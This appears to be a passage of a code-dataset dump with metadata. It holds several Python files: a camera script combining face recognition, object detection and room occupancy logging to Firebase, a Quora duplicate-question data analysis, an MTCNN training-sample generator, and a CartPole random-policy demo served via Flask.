-----------------------------------------------------------------------------------------------\n\t\t_, frame = cap.read()                           # capture image\n\t\t# get length & width of image\n\t\trows, cols, _ = np.shape(frame)\n\t\t# compute pythogorean distance\n\t\tdist = distMap(frame1, frame)\n\t\tframe1 = frame2                                 # reassign x[-2] frame\n\t\tframe2 = frame                                  # reassign x[-1] frame\n\t\tmod = cv2.GaussianBlur(dist, (9, 9), 0)          # Apply gaussian smoothing\n\t\t_, thresh = cv2.threshold(mod, 100, 255, 0)     # Thresholding\n\t\t# calculate std deviation test\n\t\t_, stDev = cv2.meanStdDev(mod)\n\n\t\tif stDev > sdThresh: activity_count += 1          # computing activity intensity\n\t\t# push to motion detection data to cloud\n\t\tif(time.time()-time1 >= 5):\n\t\t\t\ttime1 = time.time()\n\t\t\t\tnowtime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\t\t\t\tfirebase.patch('/Motion Detection/', {nowtime: activity_count})\n\t\t\t\tprint(f\"activity Intensity - {activity_count}\")\n\t\t\t\tactivity_count = 0\n\n\t# -----------------------------------------------------------------------------------------------\n\t# TODO: Facial Recognition\n\t# -----------------------------------------------------------------------------------------------\n\t\tgray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)  # grayscale image\n\t\trgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)    # rgb image\n\n\t\tdets = detector(rgb, 1)\n\t\tboxes = [(d.left(), d.top(), d.right(), d.bottom())\\\n\t\t\t\t\tfor i, d in enumerate(dets)]        # get tuple of box coordinates\n\t\tencodings = face_recognition.face_encodings(rgb, boxes) # encode those faces from rgb\n\n\t\tnames = []\n\t\ttext = \"Unoccupied\"\n\t\t# Loop over facial embeddings and check if faces match\n\t\tfor encoding in encodings:\n\t\t\tmatches = face_recognition.compare_faces(data[\"encodings\"], encoding)\n\t\t\tname = \"Unknown\"\n\t\t\tif True in matches:\n\t\t\t\tmatchedIdxs = [i for (i, b) in enumerate(matches) if b]\n\t\t\t\tcounts = {}\n\n\t\t\t\tfor i in matchedIdxs:\n\t\t\t\t\tname = data[\"names\"][i]\n\t\t\t\t\tcounts[name] = counts.get(name, 0) + 1\n\t\t\t\tname = max(counts, key=counts.get)\n\t\t\t\ttext = 'Occupied'\n\n\t\t\t# patching data to firebase console\n\t\t\tx = datetime.datetime.now().strftime(\"%H:%M:%S\")\n\t\t\ty = datetime.datetime.now().strftime(\"%Y-%m-%d\")\n\t\t\tfor i in names:\n\t\t\t\tfirebase.patch('/Monitoring/'+i+'/'+y+'/', {x: \"At camera \"+room})\n\t\t\tnames.append(name)\n\t\tprint(*names, 'are found in', room)\n\n\t# -----------------------------------------------------------------------------------------------\n\t# TODO: object detection\n\t# -----------------------------------------------------------------------------------------------\n\t\tblob = cv2.dnn.blobFromImage(\n\t\t\trgb, 1 / 255.0, (416, 416), swapRB=True, crop=False)\n\t\tnet.setInput(blob)\n\t\tlayerOutputs = net.forward(ln)\n\n\t\t# initialize lists of detected bounding boxes, confidences, and class IDs, respectively\n\t\tboxes = []\n\t\tconfidences = []\n\t\tclassIDs = []\n\n\t\t# loop over each of the layer outputs\n\t\tfor output in layerOutputs:\n\t\t\t# loop over each of the detections\n\t\t\tfor detection in output:\n\t\t\t\t# extract class ID and confidence by using score for each class\n\t\t\t\tscores = detection[5:]\n\t\t\t\tclassID = np.argmax(scores)\n\t\t\t\tconfidence = scores[classID]\n\n\t\t\t\t# filter out weak predictions by ensuring the detected\n\t\t\t\t# probability is greater than the minimum probability\n\t\t\t\tif confidence > confidence_score:\n\t\t\t\t\t# YOLO returns center coords, width and height\n\t\t\t\t\tbox = detection[0:4] * np.array([W, H, W, H])\n\t\t\t\t\t(centerX, centerY, width, height) = box.astype(\"int\")\n\t\t\t\t\t# derive top left corner for NMS\n\t\t\t\t\tx = int(centerX - (width / 2))\n\t\t\t\t\ty = int(centerY - (height / 2))\n\t\t\t\t\t# Update all\n\t\t\t\t\tboxes.append([x, y, int(width), int(height)])\n\t\t\t\t\tconfidences.append(float(confidence))\n\t\t\t\t\tclassIDs.append(classID)\n\n\t\t# apply NMS\n\t\tidxs = cv2.dnn.NMSBoxes(boxes, confidences, confidence_score, threshold)\n\t\tif len(idxs) > 0:  # if detected\n\t\t\t# loop over detected objects and push to cloud\n\t\t\tfor i in idxs.flatten():\n\t\t\t\tdetected_object = LABELS[classIDs[i]]\n\t\t\t\tnowtime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\t\t\t\tfirebase.patch(\"/Object Detection/\",{nowtime:f\"{detected_object} detected at camera {room}\"})\n\t\t\t\tprint(f\"{detected_object} found in room {room}\")\n\n\t# -----------------------------------------------------------------------------------------------\n\t# TODO: room occupacy status\n\t# -----------------------------------------------------------------------------------------------\n\t\ttoday=date.today().strftime(\"%m:%d:%Y\")\n\t\tif text == 'Occupied':\n\t\t\tt = time.localtime()\n\t\t\tcurrent_time = time.strftime(\"%H:%M:%S\", t)\n\t\t\tfirebase.patch(f'/Room Occupied/{room}/'+today,{current_time:text})\n\t\t\tresult=firebase.get(f'/Room Occupied/{room}/'+today,'Occupied')\n\t\t\tif(result==None):\n\t\t\t\tfirebase.patch(f'/Room Occupied/{room}/'+today,{'Occupied':1})\n\t\t\telse:\n\t\t\t\tresult=firebase.get(f'/Room Occupied/{room}/'+today,'Occupied')\n\t\t\t\tresult+=1\n\t\t\t\tfirebase.patch(f'/Room Occupied/{room}/'+today,{'Occupied':result})\n\t\telse:\n\t\t\tt = time.localtime()\n\t\t\tcurrent_time = time.strftime(\"%H:%M:%S\", t)\n\t\t\tfirebase.patch(f'/Room Occupied/{room}/'+today,{current_time:text})\n\t\t\tresult=firebase.get(f'/Room Occupied/{room}/'+today,'Unoccupied')\n\t\t\tif(result==None):\n\t\t\t\tfirebase.patch(f'/Room Occupied/{room}/'+today,{'Unoccupied':1})\n\t\t\telse:\n\t\t\t\tresult=firebase.get(f'/Room Occupied/{room}/'+today,'Unoccupied')\n\t\t\t\tresult+=1\n\t\t\t\tfirebase.patch(f'/Room Occupied/{room}/'+today,{'Unoccupied':result})\n\t\t\n\t\tif cv2.waitKey(1) & 0xFF == 27: break       # break if esc is pressed\n\t\tfps.update()\n\t# -----------------------------------------------------------------------------------------------\n\t# TODO: End loop\n\t# -----------------------------------------------------------------------------------------------\nexcept KeyboardInterrupt: pass\n# stop the timer and display FPS information\nfps.stop()\nprint(\"[INFO] elasped time: {:.2f}\".format(fps.elapsed()))\nprint(\"[INFO] approx. FPS: {:.2f}\".format(fps.fps()))\n\ncap.release()\ncv2.destroyAllWindows()\n", "meta": {"hexsha": "e3b86addc00618da7d80a96931357d933e6e1c1f", "size": 8477, "ext": "py", "lang": "Python", "max_stars_repo_path": "tribrid_v1_singleLoop.py", "max_stars_repo_name": "abhishekky1997/tribrid", "max_stars_repo_head_hexsha": "b6557fab7355e85c440511df32ca1ec35efb98d9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tribrid_v1_singleLoop.py", "max_issues_repo_name": "abhishekky1997/tribrid", "max_issues_repo_head_hexsha": "b6557fab7355e85c440511df32ca1ec35efb98d9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tribrid_v1_singleLoop.py", "max_forks_repo_name": "abhishekky1997/tribrid", "max_forks_repo_head_hexsha": "b6557fab7355e85c440511df32ca1ec35efb98d9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.1753554502, "max_line_length": 111, "alphanum_fraction": 0.5486610829, "include": true, "reason": "import numpy", "num_tokens": 2028, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5350984286266115, "lm_q2_score": 0.1801066684873209, "lm_q1q2_score": 0.09637479529273946}}
{"text": "\"\"\" Exploratory Data Analysis  \"\"\"\r\n\r\nfrom typing import Counter\r\nimport numpy as np\r\nimport pandas as pd\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nfrom subprocess import check_output\r\nimport plotly.offline as py\r\nimport plotly.graph_objs as go\r\nimport plotly.tools as tls\r\nimport os, gc, re, distance\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.stem import PorterStemmer\r\nfrom bs4 import BeautifulSoup\r\npd.set_option('display.max_columns', None)\r\n\r\n\"\"\" 3.1 Reading data and basic stats \"\"\"\r\n\r\ndf = pd.read_csv(\"dataset/train.csv\")\r\n\r\nprint(\"Number of data points:\",df.shape[0])\r\n# Number of data points: 404290\r\n\r\ndf.head()\r\n\"\"\"  \r\n   id  qid1  qid2                                          question1  \\\r\n0   0     1     2  What is the step by step guide to invest in sh...\r\n1   1     3     4  What is the story of Kohinoor (Koh-i-Noor) Dia...\r\n2   2     5     6  How can I increase the speed of my internet co...\r\n3   3     7     8  Why am I mentally very lonely? How can I solve...\r\n4   4     9    10  Which one dissolve in water quikly sugar, salt...\r\n\r\n                                           question2  is_duplicate\r\n0  What is the step by step guide to invest in sh...             0\r\n1  What would happen if the Indian government sto...             0\r\n2  How can Internet speed be increased by hacking...             0\r\n3  Find the remainder when [math]23^{24}[/math] i...             0\r\n4            Which fish would survive in salt water?             0\r\n\"\"\"\r\n\r\ndf.info()\r\n\"\"\" \r\n<class 'pandas.core.frame.DataFrame'>\r\nRangeIndex: 404290 entries, 0 to 404289\r\nData columns (total 6 columns):\r\n #   Column        Non-Null Count   Dtype\r\n---  ------        --------------   -----\r\n 0   id            404290 non-null  int64\r\n 1   qid1          404290 non-null  int64\r\n 2   qid2          404290 non-null  int64\r\n 3   question1     404289 non-null  object\r\n 4   question2     404288 non-null  object\r\n 5   is_duplicate  404290 non-null  int64\r\ndtypes: int64(4), object(2)\r\nmemory usage: 18.5+ MB \r\n\r\nOBSERVATION:\r\nWe are given a minimal number of data fields here, consisting of:\r\n\r\nid: Looks like a simple rowID\r\nqid{1, 2}: The unique ID of each question in the pair\r\nquestion{1, 2}: The actual textual contents of the questions.\r\nis_duplicate: The label that we are trying to predict - whether the two questions are duplicates of each other.\"\"\"\r\n\r\n\"\"\" 3.2.1 Distribution of data points among output classes\r\n- Number of duplicate(smilar) and non-duplicate(non similar) questions \"\"\"\r\n\r\ndf.groupby(\"is_duplicate\")['id'].count().plot.bar()\r\nplt.savefig('0.4_barPlot_isDuplicateFeature.png')\r\nplt.show()\r\n\r\nprint('Total number of question pairs for training: {}'.format(len(df)))\r\n# Total number of question pairs for training:404290\r\n\r\nprint('No of question pairs with is_duplicate=1: {}%'.format(round(100 - df['is_duplicate'].mean()*100,2)))\r\nprint('No of question pairs with is_duplicate=0: {}%'.format(round(df['is_duplicate'].mean()*100,2)))\r\n\"\"\" No of question pairs with is_duplicate=1: 63.08%\r\nNo of question pairs with is_duplicate=0: 36.92% \"\"\"\r\n\r\n\"\"\" 3.2.2 Number of unique questions \"\"\"\r\nqids = pd.Series(df['qid1'].to_list() + df['qid2'].to_list())\r\nunique_qs = len(np.unique(qids))\r\nqs_morethan_onetime = np.sum(qids.value_counts() > 1)\r\nprint('Total no of unique questions: ',len(set(df['qid1'].to_list() + df['qid2'].to_list())))\r\nprint ('Number of unique questions that appear more than one time: {} ({}%)\\n'.format(qs_morethan_onetime,qs_morethan_onetime/unique_qs*100))\r\nprint('Max no of times a single question is repeated: ',max(qids.value_counts()))\r\n\"\"\" \r\nTotal no of unique questions:  537933\r\nNumber of unique questions that appear more than one time: 111780 (20.77953945937505%)\r\nMax no of times a single question is repeated:  157\r\n \"\"\"\r\n\r\nx = [\"unique_questions\" , \"Repeated Questions\"]\r\ny =  [unique_qs , qs_morethan_onetime]\r\nplt.figure(figsize=(10, 6))\r\nplt.title (\"Plot representing unique and repeated questions  \")\r\nsns.barplot(x,y)\r\nplt.savefig('0.4_barPlot_uniqueAndRepeatedQuestions.png')\r\nplt.show()\r\n\r\n\"\"\" 3.2.3 Checking for Duplicates \"\"\"\r\n#checking whether there are any repeated pair of questions\r\n\r\npair_duplicates = df[['qid1','qid2','is_duplicate']].groupby(['qid1','qid2']).count().reset_index()\r\n\r\nprint (\"Number of duplicate questions\",(pair_duplicates).shape[0] - df.shape[0])\r\n# Number of duplicate questions 0\r\n\r\n\"\"\" 3.2.4 Number of occurrences of each question \"\"\"\r\n\r\nplt.figure(figsize=(20, 10))\r\nplt.hist(qids.value_counts(), bins=160)\r\nplt.yscale('log', nonposy='clip')\r\nplt.title('Log-Histogram of question appearance counts')\r\nplt.xlabel('Number of occurences of question')\r\nplt.ylabel('Number of questions')\r\nplt.savefig('0.4_logHistogramPlot_questionOccurenceCount.png')\r\nplt.show()\r\nprint ('Maximum number of times a single question is repeated: {}\\n'.format(max(qids.value_counts()))) \r\n\r\n\"\"\" 3.2.5 Checking for NULL values \"\"\"\r\n\r\n#Checking whether there are any rows with null values\r\nnan_rows = df[df.isnull().any(1)]\r\nprint (nan_rows)\r\n\"\"\" \r\n            id    qid1    qid2                         question1  \\\r\n105780  105780  174363  174364    How can I develop android app?\r\n201841  201841  303951  174364  How can I create an Android app?\r\n363362  363362  493340  493341                               NaN\r\n\r\n                                                question2  is_duplicate\r\n105780                                                NaN             0\r\n201841                                                NaN             0\r\n363362  My Chinese name is Haichao Yu. What English na...             0 \r\n\r\nOBSERVATION:\r\n- There are two rows with null values in question2\"\"\"\r\n\r\n# Filling the null values with ' '\r\ndf = df.fillna('')\r\nnan_rows = df[df.isnull().any(1)]\r\nprint (nan_rows)\r\n\"\"\" \r\nEmpty DataFrame\r\nColumns: [id, qid1, qid2, question1, question2, is_duplicate]\r\nIndex: [] \"\"\"\r\n\r\n\"\"\" \r\n3.3 Basic Feature Extraction (before cleaning) \r\n\r\nLet us now construct a few features like:\r\n\r\nfreq_qid1 = Frequency of qid1's\r\nfreq_qid2 = Frequency of qid2's\r\nq1len = Length of q1\r\nq2len = Length of q2\r\nq1_n_words = Number of words in Question 1\r\nq2_n_words = Number of words in Question 2\r\nword_Common = (Number of common unique words in Question 1 and Question 2)\r\nword_Total =(Total num of words in Question 1 + Total num of words in Question 2)\r\nword_share = (word_common)/(word_Total)\r\nfreq_q1+freq_q2 = sum total of frequency of qid1 and qid2\r\nfreq_q1-freq_q2 = absolute difference of frequency of qid1 and qid2 \"\"\"\r\n\r\ndf['freq_qid1'] = df.groupby('qid1')['qid1'].transform('count') \r\ndf['freq_qid2'] = df.groupby('qid2')['qid2'].transform('count')\r\ndf['q1len'] = df['question1'].str.len() \r\ndf['q2len'] = df['question2'].str.len()\r\ndf['q1_n_words'] = df['question1'].apply(lambda row: len(row.split(\" \")))\r\ndf['q2_n_words'] = df['question2'].apply(lambda row: len(row.split(\" \")))\r\n\r\ndef normalized_word_Common(row):\r\n    w1 = set(map(lambda word: word.lower().strip(), row['question1'].split(\" \")))\r\n    w2 = set(map(lambda word: word.lower().strip(), row['question2'].split(\" \")))    \r\n    return 1.0 * len(w1 & w2)\r\ndf['word_Common'] = df.apply(normalized_word_Common, axis=1)\r\n\r\ndef normalized_word_Total(row):\r\n    w1 = set(map(lambda word: word.lower().strip(), row['question1'].split(\" \")))\r\n    w2 = set(map(lambda word: word.lower().strip(), row['question2'].split(\" \")))    \r\n    return 1.0 * (len(w1) + len(w2))\r\ndf['word_Total'] = df.apply(normalized_word_Total, axis=1)\r\n\r\ndef normalized_word_share(row):\r\n    w1 = set(map(lambda word: word.lower().strip(), row['question1'].split(\" \")))\r\n    w2 = set(map(lambda word: word.lower().strip(), row['question2'].split(\" \")))    \r\n    return 1.0 * len(w1 & w2)/(len(w1) + len(w2))\r\ndf['word_share'] = df.apply(normalized_word_share, axis=1)\r\n\r\ndf['freq_q1+q2'] = df['freq_qid1']+df['freq_qid2']\r\ndf['freq_q1-q2'] = abs(df['freq_qid1']-df['freq_qid2'])\r\n\r\ndf.to_csv(\"dataset/df_fe_without_preprocessing_train.csv\", index=False)\r\n\r\ndf.head()\r\n\"\"\" \r\n   id  qid1  qid2                                          question1  \\\r\n0   0     1     2  What is the step by step guide to invest in sh...\r\n1   1     3     4  What is the story of Kohinoor (Koh-i-Noor) Dia...\r\n2   2     5     6  How can I increase the speed of my internet co...\r\n3   3     7     8  Why am I mentally very lonely? How can I solve...\r\n4   4     9    10  Which one dissolve in water quikly sugar, salt...\r\n\r\n                                           question2  is_duplicate  freq_qid1  \\\r\n0  What is the step by step guide to invest in sh...             0          1\r\n1  What would happen if the Indian government sto...             0          4\r\n2  How can Internet speed be increased by hacking...             0          1\r\n3  Find the remainder when [math]23^{24}[/math] i...             0          1\r\n4            Which fish would survive in salt water?             0          3\r\n\r\n   freq_qid2  q1len  q2len  q1_n_words  q2_n_words  word_Common  word_Total  \\\r\n0          1     66     57          14          12         10.0        23.0\r\n1          1     51     88           8          13          4.0        20.0\r\n2          1     73     59          14          10          4.0        24.0\r\n3          1     50     65          11           9          0.0        19.0\r\n4          1     76     39          13           7          2.0        20.0\r\n\r\n   word_share  freq_q1+q2  freq_q1-q2\r\n0    0.434783           2           0\r\n1    0.200000           5           3\r\n2    0.166667           2           0\r\n3    0.000000           2           0\r\n4    0.100000           4           2 \"\"\"\r\n\r\n\"\"\" 3.3.1 Analysis of some of the extracted features \r\nHere are some questions have only one single words. \"\"\"\r\n\r\nprint (\"Minimum length of the questions in question1 : \" , min(df['q1_n_words']))\r\nprint (\"Minimum length of the questions in question2 : \" , min(df['q2_n_words']))\r\nprint (\"Number of Questions with minimum length [question1] :\", df[df['q1_n_words']== 1].shape[0])\r\nprint (\"Number of Questions with minimum length [question2] :\", df[df['q2_n_words']== 1].shape[0])\r\n\"\"\" \r\nMinimum length of the questions in question1 :  1\r\nMinimum length of the questions in question2 :  1\r\nNumber of Questions with minimum length [question1] : 67\r\nNumber of Questions with minimum length [question2] : 24 \"\"\"\r\n\r\n\"\"\" 3.3.1.1 Feature: word_share  \"\"\"\r\n\r\nplt.figure(figsize=(12, 8))\r\n\r\nplt.subplot(1,2,1)\r\nsns.violinplot(x = 'is_duplicate', y = 'word_share', data = df[0:])\r\n\r\nplt.subplot(1,2,2)\r\nsns.distplot(df[df['is_duplicate'] == 1.0]['word_share'][0:] , label = \"1\", color = 'red')\r\nsns.distplot(df[df['is_duplicate'] == 0.0]['word_share'][0:] , label = \"0\" , color = 'blue' )\r\nplt.savefig('0.4_violinPlot_wordShareFeature.png')\r\nplt.show()\r\n\r\n\"\"\" \r\nOBSERVATION\r\n- The distributions for normalized word_share have some overlap on the far right-hand side, i.e., there are quite a lot of questions with high word similarity\r\n- The average word share and Common no. of words of qid1 and qid2 is more when they are duplicate(Similar) \"\"\"\r\n\r\n\"\"\" 3.3.1.2 Feature: word_Common  \"\"\"\r\n\r\nplt.figure(figsize=(12, 8))\r\n\r\nplt.subplot(1,2,1)\r\nsns.violinplot(x = 'is_duplicate', y = 'word_Common', data = df[0:])\r\n\r\nplt.subplot(1,2,2)\r\nsns.distplot(df[df['is_duplicate'] == 1.0]['word_Common'][0:] , label = \"1\", color = 'red')\r\nsns.distplot(df[df['is_duplicate'] == 0.0]['word_Common'][0:] , label = \"0\" , color = 'blue' )\r\nplt.savefig('0.4_violinPlot_wordCommonFeature.png')\r\nplt.show()\r\n\r\n\"\"\" \r\nOBSERVATION:\r\n- The distributions of the word_Common feature in similar and non-similar questions are highly overlapping \"\"\"", "meta": {"hexsha": "319de2a3d57222e06ed14c04b231adcb42d850c7", "size": 11615, "ext": "py", "lang": "Python", "max_stars_repo_path": "0.4_exploratory_data_analysis.py", "max_stars_repo_name": "Akshaykumarcp/quora-duplicate-question-prediction", "max_stars_repo_head_hexsha": "b5c7e0e4a2a64e0080747ef8906e28e430f021b8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-19T06:16:39.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-19T06:16:39.000Z", "max_issues_repo_path": "0.4_exploratory_data_analysis.py", "max_issues_repo_name": "hariguru/quora-duplicate-question-prediction", "max_issues_repo_head_hexsha": "f756ebc7c1000c1f09d9190c0523f2251919b091", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "0.4_exploratory_data_analysis.py", "max_forks_repo_name": "hariguru/quora-duplicate-question-prediction", "max_forks_repo_head_hexsha": "f756ebc7c1000c1f09d9190c0523f2251919b091", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-02-08T16:17:47.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-13T08:33:22.000Z", "avg_line_length": 42.5457875458, "max_line_length": 159, "alphanum_fraction": 0.6216099871, "include": true, "reason": "import numpy", "num_tokens": 3219, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782349911420193, "lm_q2_score": 0.2200071048600902, "lm_q1q2_score": 0.09632428047982984}}
{"text": "#coding:utf-8\nimport sys\nimport numpy as np\nimport cv2\nimport os\nrootPath = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"../\"))\nsys.path.insert(0, rootPath)\nfrom tools.common_utils import IoU\n\ndef gen_hard_bbox_pnet(srcDataSet, srcAnnotations):\n    srcDataSet = os.path.join(rootPath, srcDataSet)\n    srcAnnotations = os.path.join(rootPath, srcAnnotations)\n    saveFolder = os.path.join(rootPath, \"tmp/data/pnet/\")\n    print(\">>>>>> Gen hard samples for pnet...\")\n    typeName = [\"pos\", \"neg\", \"part\"]\n    saveFiles = {}\n    for tp in typeName:\n        _saveFolder = os.path.join(saveFolder, tp)\n        if not os.path.isdir(_saveFolder):\n            os.makedirs(_saveFolder)\n        saveFiles[tp] = open(os.path.join(saveFolder, \"{}.txt\".format(tp)), 'w')\n\n    annotationsFile = open(srcAnnotations, \"r\")\n    pIdx = 0 # positive\n    nIdx = 0 # negative\n    dIdx = 0 # dont care\n    idx = 0\n    for annotation in annotationsFile:\n        annotation = annotation.strip().split(' ')\n        # image path\n        imPath = annotation[0]\n        # boxed change to float type\n        bbox = map(float, annotation[1:])\n        # gt. each row mean bounding box\n        boxes = np.array(bbox, dtype=np.float32).reshape(-1, 4)\n        #load image\n        img = cv2.imread(os.path.join(srcDataSet, imPath + '.jpg'))\n        idx += 1\n        height, width, channel = img.shape\n\n        # 1. NEG: random to crop negative sample image\n        negNum = 0\n        while negNum < 50:\n            size = np.random.randint(12, min(width, height) / 2)\n            # top_left\n            nx = np.random.randint(0, width - size)\n            ny = np.random.randint(0, height - size)\n            # random crop\n            crop_box = np.array([nx, ny, nx + size, ny + size])\n            # cal iou and iou must below 0.3 for neg sample\n            iou = IoU(crop_box, boxes)\n            if np.max(iou) >= 0.3:\n                continue\n            # crop sample image\n            cropped_im = img[ny : ny + size, nx : nx + size, :]\n            resized_im = cv2.resize(cropped_im, (12, 12), interpolation=cv2.INTER_LINEAR)\n            # now to save it\n            save_file = os.path.join(saveFolder, \"neg\", \"%s.jpg\"%nIdx)\n            saveFiles['neg'].write(save_file + ' 0\\n')\n            cv2.imwrite(save_file, resized_im)\n            nIdx += 1\n            negNum += 1\n        for box in boxes:\n            # box (x_left, y_top, x_right, y_bottom)\n            x1, y1, x2, y2 = box\n            #bbox's width and height\n            w, h = x2 - x1 + 1, y2 - y1 + 1\n            # ignore small faces\n            # in case the ground truth boxes of small faces are not accurate\n            if max(w, h) < 40 or x1 < 0 or y1 < 0:\n                continue\n            # 2. NEG: random to crop sample image in bbox inside\n            for i in range(5):\n                size = np.random.randint(12, min(width, height) / 2)\n                # delta_x and delta_y are offsets of (x1, y1)\n                delta_x = np.random.randint(max(-size, -x1), w)\n                delta_y = np.random.randint(max(-size, -y1), h)\n                nx1 = int(max(0, x1 + delta_x))\n                ny1 = int(max(0, y1 + delta_y))\n                if nx1 + size > width or ny1 + size > height:\n                    continue\n                crop_box = np.array([nx1, ny1, nx1 + size, ny1 + size])\n                Iou = IoU(crop_box, boxes)\n                if np.max(iou) >= 0.3:\n                    continue\n                cropped_im = img[ny1: ny1 + size, nx1: nx1 + size, :]\n                resized_im = cv2.resize(cropped_im, (12, 12), interpolation=cv2.INTER_LINEAR)\n                save_file = os.path.join(saveFolder, \"neg\", \"%s.jpg\"%nIdx)\n                saveFiles['neg'].write(save_file + ' 0\\n')\n                cv2.imwrite(save_file, resized_im)\n                nIdx += 1\n            # 3. POS and PART\n            for i in range(20):\n                # pos and part face size [minsize*0.8,maxsize*1.25]\n                size = np.random.randint(int(min(w, h) * 0.8), np.ceil(1.25 * max(w, h)))\n                # delta here is the offset of box center\n                delta_x = np.random.randint(-w * 0.2, w * 0.2)\n                delta_y = np.random.randint(-h * 0.2, h * 0.2)\n                #show this way: nx1 = max(x1+w/2-size/2+delta_x)\n                nx1 = max(x1 + w / 2 + delta_x - size / 2, 0)\n                #show this way: ny1 = max(y1+h/2-size/2+delta_y)\n                ny1 = max(y1 + h / 2 + delta_y - size / 2, 0)\n                nx2 = nx1 + size\n                ny2 = ny1 + size\n\n                if nx2 > width or ny2 > height:\n                    continue \n                crop_box = np.array([nx1, ny1, nx2, ny2])\n                #yu gt de offset\n                offset_x1 = (x1 - nx1) / float(size)\n                offset_y1 = (y1 - ny1) / float(size)\n                offset_x2 = (x2 - nx2) / float(size)\n                offset_y2 = (y2 - ny2) / float(size)\n                #crop\n                cropped_im = img[int(ny1) : int(ny2), int(nx1) : int(nx2), :]\n                #resize\n                resized_im = cv2.resize(cropped_im, (12, 12), interpolation=cv2.INTER_LINEAR)\n\n                box_ = box.reshape(1, -1)\n                if IoU(crop_box, box_) >= 0.65:\n                    save_file = os.path.join(saveFolder, \"pos\", \"%s.jpg\"%pIdx)\n                    saveFiles['pos'].write(save_file + ' 1 %.2f %.2f %.2f %.2f\\n'%(offset_x1, offset_y1, offset_x2, offset_y2))\n                    cv2.imwrite(save_file, resized_im)\n                    pIdx += 1\n                elif IoU(crop_box, box_) >= 0.4:\n                    save_file = os.path.join(saveFolder, \"part\", \"%s.jpg\"%dIdx)\n                    saveFiles['part'].write(save_file + ' -1 %.2f %.2f %.2f %.2f\\n'%(offset_x1, offset_y1, offset_x2, offset_y2))\n                    cv2.imwrite(save_file, resized_im)\n                    dIdx += 1\n        printStr = \"\\r[{}] pos: {}  neg: {}  part:{}\".format(idx, pIdx, nIdx, dIdx)\n        sys.stdout.write(printStr)\n        sys.stdout.flush()\n    for f in saveFiles.values():\n        f.close()\n    print '\\n'\n\n\nif __name__ == \"__main__\":\n    gen_hard_bbox_pnet(\"dataset/WIDER_train/images/\", \"dataset/wider_face_train.txt\")\n", "meta": {"hexsha": "8c38ee76221c7ab5aad0f632d3f1312252bc392a", "size": 6228, "ext": "py", "lang": "Python", "max_stars_repo_path": "prepare_data/gen_hard_bbox_pnet.py", "max_stars_repo_name": "ZouaghiHoussem/MTCNN_68_TensorFlow", "max_stars_repo_head_hexsha": "b41dbda229e24d6c79d28c22d910e17fca2618c3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 50, "max_stars_repo_stars_event_min_datetime": "2017-09-18T16:11:01.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-28T15:54:04.000Z", "max_issues_repo_path": "prepare_data/gen_hard_bbox_pnet.py", "max_issues_repo_name": "ZouaghiHoussem/MTCNN_68_TensorFlow", "max_issues_repo_head_hexsha": "b41dbda229e24d6c79d28c22d910e17fca2618c3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2017-09-18T16:11:36.000Z", "max_issues_repo_issues_event_max_datetime": "2018-05-05T01:39:24.000Z", "max_forks_repo_path": "prepare_data/gen_hard_bbox_pnet.py", "max_forks_repo_name": "ZouaghiHoussem/MTCNN_68_TensorFlow", "max_forks_repo_head_hexsha": "b41dbda229e24d6c79d28c22d910e17fca2618c3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 22, "max_forks_repo_forks_event_min_datetime": "2018-03-22T06:31:14.000Z", "max_forks_repo_forks_event_max_datetime": "2020-03-10T07:20:04.000Z", "avg_line_length": 44.4857142857, "max_line_length": 129, "alphanum_fraction": 0.5171804753, "include": true, "reason": "import numpy", "num_tokens": 1718, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5774953506426082, "lm_q2_score": 0.16667539847889917, "lm_q1q2_score": 0.09625426768806832}}
{"text": "#!/usr/bin/python3\n\nimport gym\nimport numpy as np\n\n\nenv = gym.make('CartPole-v1')\n\ndef play(env, policy, is_render=False):\n    observation = env.reset()\n    done = False\n    score = 0\n    observations = []\n      \n    for _ in range(5000):\n        observations += [observation.tolist()]\n        \n        if done:\n            break\n\n        outcome = np.dot(policy, observation)\n        action = 1 if outcome > 0 else 0\n        if(is_render==True):\n            env.render()\n        observation, reward, done, info = env.step(action)\n        score += reward\n    env.close()\n    return score, observations\n\n\nmax_score = 0\nfor _ in range(100):\n    policy = np.random.rand(1,4)\n    score, observations = play(env, policy)\n    if(score > max_score):\n        max_score_policy = (policy, score)\n    print('policy score', score)\n\npolicy = np.random.rand(1,4)\nscore, observations = play(env, max_score_policy[0], False)\nprint('policy score', score)\n\n\n\nfrom flask import Flask\nimport json \n\napp = Flask(__name__, static_folder='.')\n@app.route(\"/data\")\ndef data():\n    return json.dumps(observations)\n\n@app.route('/')\ndef root():\n    return app.send_static_file('./index.html')\n\n\napp.run(host='0.0.0.0', port='3000')\n", "meta": {"hexsha": 